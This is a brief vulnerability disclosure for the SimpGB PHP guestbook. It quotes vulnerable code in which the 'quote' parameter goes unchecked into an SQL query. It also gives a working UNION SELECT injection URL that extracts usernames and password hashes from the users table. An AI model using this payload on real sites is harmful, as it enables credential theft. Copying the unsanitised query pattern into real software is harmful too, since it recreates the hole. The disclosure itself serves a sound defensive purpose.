Hi,

The PHP guestbook SimpGB [1], written by Boesch IT-Consulting [2] can be 
exploited to gain
userdata. The quote variable isn't checked carefully in 
simpgb/include/gb_new.inc called
by guestbook.php.
I wrote a proof of concept which shows a md5 hash and the username, read 
from the database.

simpgb/include/gb_new.inc:

50: if(isset($quote) && ($quote))
51: {
52:     $sql = "select * from ".$tableprefix."_data where entrynr=$quote";
53:     if(!$result = mysql_query($sql, $db))
54:         die("Unable to connect to database.".mysql_error());

PoC:

http://[whereever the guestbook is]/simpgb/guestbook.php?lang=de&mode=new
&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201

The developer has been informed.

[1] http://www.boesch-it.de/sw/php-scripts/simpgb/english/download.php
[2] http://www.boesch-it.de

Greets to neonomicus who helped me getting the database structure of SimpGB.

visus